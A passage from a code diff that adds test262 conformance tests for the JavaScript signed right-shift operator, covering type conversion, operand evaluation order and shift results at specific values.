+ $ERROR('#2: {valueOf: function() {return -4}, toString: function() {return 0}} >> 1 === -2. Actual: ' + ({valueOf: function() {return -4}, toString: function() {return 0}} >> 1));
+}
+
+//CHECK#3
+if ({valueOf: function() {return -4}, toString: function() {return {}}} >> 1 !== -2) {
+ $ERROR('#3: {valueOf: function() {return -4}, toString: function() {return {}}} >> 1 === -2. Actual: ' + ({valueOf: function() {return -4}, toString: function() {return {}}} >> 1));
+}
+
+//CHECK#4
+try {
+ if ({valueOf: function() {return -4}, toString: function() {throw "error"}} >> 1 !== -2) {
+ $ERROR('#4.1: {valueOf: function() {return -4}, toString: function() {throw "error"}} >> 1 === -2. Actual: ' + ({valueOf: function() {return -4}, toString: function() {throw "error"}} >> 1));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: {valueOf: function() {return -4}, toString: function() {throw "error"}} >> 1 not throw "error"');
+ } else {
+ $ERROR('#4.3: {valueOf: function() {return -4}, toString: function() {throw "error"}} >> 1 not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (-4 >> {toString: function() {return 1}} !== -2) {
+ $ERROR('#5: -4 >> {toString: function() {return 1}} === -2. Actual: ' + (-4 >> {toString: function() {return 1}}));
+}
+
+//CHECK#6
+if (-4 >> {valueOf: function() {return {}}, toString: function() {return 1}} !== -2) {
+ $ERROR('#6: -4 >> {valueOf: function() {return {}}, toString: function() {return 1}} === -2. Actual: ' + (-4 >> {valueOf: function() {return {}}, toString: function() {return 1}}));
+}
+
+//CHECK#7
+try {
+ -4 >> {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ $ERROR('#7.1: -4 >> {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (-4 >> {valueOf: function() {throw "error"}, toString: function() {return 1}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: -4 >> {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ -4 >> {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: -4 >> {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (-4 >> {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: -4 >> {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.3_T1.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.3_T1.js
new file mode 100644
index 000000000..1d3d1c544
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToNumber(first expression) is called first, and then ToNumber(second expression)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A2.3_T1.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x >> y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x >> y throw "x". Actual: ' + (x >> y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToNumber(first expression) is called first, and then ToNumber(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x >> y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.4_T1.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.4_T1.js
new file mode 100644
index 000000000..310bee61f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if ((x = 1) >> x !== 0) {
+ $ERROR('#1: var x = 0; (x = 1) >> x === 0. Actual: ' + ((x = 1) >> x));
+}
+
+//CHECK#2
+var x = -4;
+if (x >> (x = 1) !== -2) {
+ $ERROR('#2: var x = -4; x >> (x = 1) === -2. Actual: ' + (x >> (x = 1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.4_T2.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.4_T2.js
new file mode 100644
index 000000000..4f1eb349a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() >> y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() >> y() throw "x". Actual: ' + (x() >> y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() >> y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.4_T3.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.4_T3.js
new file mode 100644
index 000000000..45f52d79d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x >> (x = 1);
+ $ERROR('#1.1: x >> (x = 1) throw ReferenceError. Actual: ' + (x >> (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x >> (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) >> y !== 0) {
+ $ERROR('#2: (y = 1) >> y === 0. Actual: ' + ((y = 1) >> y));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.1.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.1.js
new file mode 100644
index 000000000..0f872cd25
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (true >> true !== 0) {
+ $ERROR('#1: true >> true === 0. Actual: ' + (true >> true));
+}
+
+//CHECK#2
+if (new Boolean(true) >> true !== 0) {
+ $ERROR('#2: new Boolean(true) >> true === 0. Actual: ' + (new Boolean(true) >> true));
+}
+
+//CHECK#3
+if (true >> new Boolean(true) !== 0) {
+ $ERROR('#3: true >> new Boolean(true) === 0. Actual: ' + (true >> new Boolean(true)));
+}
+
+//CHECK#4
+if (new Boolean(true) >> new Boolean(true) !== 0) {
+ $ERROR('#4: new Boolean(true) >> new Boolean(true) === 0. Actual: ' + (new Boolean(true) >> new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.2.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.2.js
new file mode 100644
index 000000000..0398c019a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if (1 >> 1 !== 0) {
+ $ERROR('#1: 1 >> 1 === 0. Actual: ' + (1 >> 1));
+}
+
+//CHECK#2
+if (new Number(1) >> 1 !== 0) {
+ $ERROR('#2: new Number(1) >> 1 === 0. Actual: ' + (new Number(1) >> 1));
+}
+
+//CHECK#3
+if (1 >> new Number(1) !== 0) {
+ $ERROR('#3: 1 >> new Number(1) === 0. Actual: ' + (1 >> new Number(1)));
+}
+
+//CHECK#4
+if (new Number(1) >> new Number(1) !== 0) {
+ $ERROR('#4: new Number(1) >> new Number(1) === 0. Actual: ' + (new Number(1) >> new Number(1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.3.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.3.js
new file mode 100644
index 000000000..7172e563c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+if ("1" >> "1" !== 0) {
+ $ERROR('#1: "1" >> "1" === 0. Actual: ' + ("1" >> "1"));
+}
+
+//CHECK#2
+if (new String("1") >> "1" !== 0) {
+ $ERROR('#2: new String("1") >> "1" === 0. Actual: ' + (new String("1") >> "1"));
+}
+
+//CHECK#3
+if ("1" >> new String("1") !== 0) {
+ $ERROR('#3: "1" >> new String("1") === 0. Actual: ' + ("1" >> new String("1")));
+}
+
+//CHECK#4
+if (new String("1") >> new String("1") !== 0) {
+ $ERROR('#4: new String("1") >> new String("1") === 0. Actual: ' + (new String("1") >> new String("1")));
+}
+
+//CHECK#5
+if ("x" >> "1" !== 0) {
+ $ERROR('#5: "x" >> "1" === 0. Actual: ' + ("x" >> "1"));
+}
+
+//CHECK#6
+if ("1" >> "x" !== 1) {
+ $ERROR('#6: "1" >> "x" === 1. Actual: ' + ("1" >> "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.4.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.4.js
new file mode 100644
index 000000000..b792d7c82
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+if (null >> undefined !== 0) {
+ $ERROR('#1: null >> undefined === 0. Actual: ' + (null >> undefined));
+}
+
+//CHECK#2
+if (undefined >> null !== 0) {
+ $ERROR('#2: undefined >> null === 0. Actual: ' + (undefined >> null));
+}
+
+//CHECK#3
+if (undefined >> undefined !== 0) {
+ $ERROR('#3: undefined >> undefined === 0. Actual: ' + (undefined >> undefined));
+}
+
+//CHECK#4
+if (null >> null !== 0) {
+ $ERROR('#4: null >> null === 0. Actual: ' + (null >> null));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.5.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.5.js
new file mode 100644
index 000000000..3f208836f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T1.5.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T1.5.js
+ * @description Type(x) and Type(y) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (({} >> function(){return 1}) !== 0) {
+ $ERROR('#1: ({} >> function(){return 1}) === 0. Actual: ' + (({} >> function(){return 1})));
+}
+
+//CHECK#2
+if ((function(){return 1} >> {}) !== 0) {
+ $ERROR('#2: (function(){return 1} >> {}) === 0. Actual: ' + ((function(){return 1} >> {})));
+}
+
+//CHECK#3
+if ((function(){return 1} >> function(){return 1}) !== 0) {
+ $ERROR('#3: (function(){return 1} >> function(){return 1}) === 0. Actual: ' + ((function(){return 1} >> function(){return 1})));
+}
+
+//CHECK#4
+if (({} >> {}) !== 0) {
+ $ERROR('#4: ({} >> {}) === 0. Actual: ' + (({} >> {})));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.1.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.1.js
new file mode 100644
index 000000000..808fb0e3a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true >> 1 !== 0) {
+ $ERROR('#1: true >> 1 === 0. Actual: ' + (true >> 1));
+}
+
+//CHECK#2
+if (1 >> true !== 0) {
+ $ERROR('#2: 1 >> true === 0. Actual: ' + (1 >> true));
+}
+
+//CHECK#3
+if (new Boolean(true) >> 1 !== 0) {
+ $ERROR('#3: new Boolean(true) >> 1 === 0. Actual: ' + (new Boolean(true) >> 1));
+}
+
+//CHECK#4
+if (1 >> new Boolean(true) !== 0) {
+ $ERROR('#4: 1 >> new Boolean(true) === 0. Actual: ' + (1 >> new Boolean(true)));
+}
+
+//CHECK#5
+if (true >> new Number(1) !== 0) {
+ $ERROR('#5: true >> new Number(1) === 0. Actual: ' + (true >> new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) >> true !== 0) {
+ $ERROR('#6: new Number(1) >> true === 0. Actual: ' + (new Number(1) >> true));
+}
+
+//CHECK#7
+if (new Boolean(true) >> new Number(1) !== 0) {
+ $ERROR('#7: new Boolean(true) >> new Number(1) === 0. Actual: ' + (new Boolean(true) >> new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) >> new Boolean(true) !== 0) {
+ $ERROR('#8: new Number(1) >> new Boolean(true) === 0. Actual: ' + (new Number(1) >> new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.2.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.2.js
new file mode 100644
index 000000000..57c037ae0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if ("1" >> 1 !== 0) {
+ $ERROR('#1: "1" >> 1 === 0. Actual: ' + ("1" >> 1));
+}
+
+//CHECK#2
+if (1 >> "1" !== 0) {
+ $ERROR('#2: 1 >> "1" === 0. Actual: ' + (1 >> "1"));
+}
+
+//CHECK#3
+if (new String("1") >> 1 !== 0) {
+ $ERROR('#3: new String("1") >> 1 === 0. Actual: ' + (new String("1") >> 1));
+}
+
+//CHECK#4
+if (1 >> new String("1") !== 0) {
+ $ERROR('#4: 1 >> new String("1") === 0. Actual: ' + (1 >> new String("1")));
+}
+
+//CHECK#5
+if ("1" >> new Number(1) !== 0) {
+ $ERROR('#5: "1" >> new Number(1) === 0. Actual: ' + ("1" >> new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) >> "1" !== 0) {
+ $ERROR('#6: new Number(1) >> "1" === 0. Actual: ' + (new Number(1) >> "1"));
+}
+
+//CHECK#7
+if (new String("1") >> new Number(1) !== 0) {
+ $ERROR('#7: new String("1") >> new Number(1) === 0. Actual: ' + (new String("1") >> new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) >> new String("1") !== 0) {
+ $ERROR('#8: new Number(1) >> new String("1") === 0. Actual: ' + (new Number(1) >> new String("1")));
+}
+
+//CHECK#9
+if ("x" >> 1 !== 0) {
+ $ERROR('#9: "x" >> 1 === 0. Actual: ' + ("x" >> 1));
+}
+
+//CHECK#10
+if (1 >> "x" !== 1) {
+ $ERROR('#10: 1 >> "x" === 1. Actual: ' + (1 >> "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.3.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.3.js
new file mode 100644
index 000000000..fe7a31aaa
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if (1 >> null !== 1) {
+ $ERROR('#1: 1 >> null === 1. Actual: ' + (1 >> null));
+}
+
+//CHECK#2
+if (null >> 1 !== 0) {
+ $ERROR('#2: null >> 1 === 0. Actual: ' + (null >> 1));
+}
+
+//CHECK#3
+if (new Number(1) >> null !== 1) {
+ $ERROR('#3: new Number(1) >> null === 1. Actual: ' + (new Number(1) >> null));
+}
+
+//CHECK#4
+if (null >> new Number(1) !== 0) {
+ $ERROR('#4: null >> new Number(1) === 0. Actual: ' + (null >> new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.4.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.4.js
new file mode 100644
index 000000000..138b77681
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (1 >> undefined !== 1) {
+ $ERROR('#1: 1 >> undefined === 1. Actual: ' + (1 >> undefined));
+}
+
+//CHECK#2
+if (undefined >> 1 !== 0) {
+ $ERROR('#2: undefined >> 1 === 0. Actual: ' + (undefined >> 1));
+}
+
+//CHECK#3
+if (new Number(1) >> undefined !== 1) {
+ $ERROR('#3: new Number(1) >> undefined === 1. Actual: ' + (new Number(1) >> undefined));
+}
+
+//CHECK#4
+if (undefined >> new Number(1) !== 0) {
+ $ERROR('#4: undefined >> new Number(1) === 0. Actual: ' + (undefined >> new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.5.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.5.js
new file mode 100644
index 000000000..ca296c62e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true >> "1" !== 0) {
+ $ERROR('#1: true >> "1" === 0. Actual: ' + (true >> "1"));
+}
+
+//CHECK#2
+if ("1" >> true !== 0) {
+ $ERROR('#2: "1" >> true === 0. Actual: ' + ("1" >> true));
+}
+
+//CHECK#3
+if (new Boolean(true) >> "1" !== 0) {
+ $ERROR('#3: new Boolean(true) >> "1" === 0. Actual: ' + (new Boolean(true) >> "1"));
+}
+
+//CHECK#4
+if ("1" >> new Boolean(true) !== 0) {
+ $ERROR('#4: "1" >> new Boolean(true) === 0. Actual: ' + ("1" >> new Boolean(true)));
+}
+
+//CHECK#5
+if (true >> new String("1") !== 0) {
+ $ERROR('#5: true >> new String("1") === 0. Actual: ' + (true >> new String("1")));
+}
+
+//CHECK#6
+if (new String("1") >> true !== 0) {
+ $ERROR('#6: new String("1") >> true === 0. Actual: ' + (new String("1") >> true));
+}
+
+//CHECK#7
+if (new Boolean(true) >> new String("1") !== 0) {
+ $ERROR('#7: new Boolean(true) >> new String("1") === 0. Actual: ' + (new Boolean(true) >> new String("1")));
+}
+
+//CHECK#8
+if (new String("1") >> new Boolean(true) !== 0) {
+ $ERROR('#8: new String("1") >> new Boolean(true) === 0. Actual: ' + (new String("1") >> new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.6.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.6.js
new file mode 100644
index 000000000..ea18c20a6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ("1" >> undefined !== 1) {
+ $ERROR('#1: "1" >> undefined === 1. Actual: ' + ("1" >> undefined));
+}
+
+//CHECK#2
+if (undefined >> "1" !== 0) {
+ $ERROR('#2: undefined >> "1" === 0. Actual: ' + (undefined >> "1"));
+}
+
+//CHECK#3
+if (new String("1") >> undefined !== 1) {
+ $ERROR('#3: new String("1") >> undefined === 1. Actual: ' + (new String("1") >> undefined));
+}
+
+//CHECK#4
+if (undefined >> new String("1") !== 0) {
+ $ERROR('#4: undefined >> new String("1") === 0. Actual: ' + (undefined >> new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.7.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.7.js
new file mode 100644
index 000000000..3061313c2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if ("1" >> null !== 1) {
+ $ERROR('#1: "1" >> null === 1. Actual: ' + ("1" >> null));
+}
+
+//CHECK#2
+if (null >> "1" !== 0) {
+ $ERROR('#2: null >> "1" === 0. Actual: ' + (null >> "1"));
+}
+
+//CHECK#3
+if (new String("1") >> null !== 1) {
+ $ERROR('#3: new String("1") >> null === 1. Actual: ' + (new String("1") >> null));
+}
+
+//CHECK#4
+if (null >> new String("1") !== 0) {
+ $ERROR('#4: null >> new String("1") === 0. Actual: ' + (null >> new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.8.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.8.js
new file mode 100644
index 000000000..a918a6791
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (true >> undefined !== 1) {
+ $ERROR('#1: true >> undefined === 1. Actual: ' + (true >> undefined));
+}
+
+//CHECK#2
+if (undefined >> true !== 0) {
+ $ERROR('#2: undefined >> true === 0. Actual: ' + (undefined >> true));
+}
+
+//CHECK#3
+if (new Boolean(true) >> undefined !== 1) {
+ $ERROR('#3: new Boolean(true) >> undefined === 1. Actual: ' + (new Boolean(true) >> undefined));
+}
+
+//CHECK#4
+if (undefined >> new Boolean(true) !== 0) {
+ $ERROR('#4: undefined >> new Boolean(true) === 0. Actual: ' + (undefined >> new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.9.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.9.js
new file mode 100644
index 000000000..f5cbaf944
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A3_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >> y returns ToNumber(x) >> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A3_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if (true >> null !== 1) {
+ $ERROR('#1: true >> null === 1. Actual: ' + (true >> null));
+}
+
+//CHECK#2
+if (null >> true !== 0) {
+ $ERROR('#2: null >> true === 0. Actual: ' + (null >> true));
+}
+
+//CHECK#3
+if (new Boolean(true) >> null !== 1) {
+ $ERROR('#3: new Boolean(true) >> null === 1. Actual: ' + (new Boolean(true) >> null));
+}
+
+//CHECK#4
+if (null >> new Boolean(true) !== 0) {
+ $ERROR('#4: null >> new Boolean(true) === 0. Actual: ' + (null >> new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A4_T1.js b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A4_T1.js
new file mode 100644
index 000000000..851139bb1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.2/S11.7.2_A4_T1.js
@@ -0,0 +1,2571 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check x >> y operator in distinct points
+ *
+ * @path ch11/11.7/11.7.2/S11.7.2_A4_T1.js
+ * @description ShiftExpression = -2^n, n = 0...15
+ */
+
+//CHECK
+
+if (-1 >> 0 !== -1) {
+ $ERROR('#1: -1 >> 0 === -1. Actual: ' + (-1 >> 0));
+}
+
+
+if (-2 >> 0 !== -2) {
+ $ERROR('#2: -2 >> 0 === -2. Actual: ' + (-2 >> 0));
+}
+
+
+if (-4 >> 0 !== -4) {
+ $ERROR('#3: -4 >> 0 === -4. Actual: ' + (-4 >> 0));
+}
+
+
+if (-8 >> 0 !== -8) {
+ $ERROR('#4: -8 >> 0 === -8. Actual: ' + (-8 >> 0));
+}
+
+
+if (-16 >> 0 !== -16) {
+ $ERROR('#5: -16 >> 0 === -16. Actual: ' + (-16 >> 0));
+}
+
+
+if (-32 >> 0 !== -32) {
+ $ERROR('#6: -32 >> 0 === -32. Actual: ' + (-32 >> 0));
+}
+
+
+if (-64 >> 0 !== -64) {
+ $ERROR('#7: -64 >> 0 === -64. Actual: ' + (-64 >> 0));
+}
+
+
+if (-128 >> 0 !== -128) {
+ $ERROR('#8: -128 >> 0 === -128. Actual: ' + (-128 >> 0));
+}
+
+
+if (-256 >> 0 !== -256) {
+ $ERROR('#9: -256 >> 0 === -256. Actual: ' + (-256 >> 0));
+}
+
+
+if (-512 >> 0 !== -512) {
+ $ERROR('#10: -512 >> 0 === -512. Actual: ' + (-512 >> 0));
+}
+
+
+if (-1024 >> 0 !== -1024) {
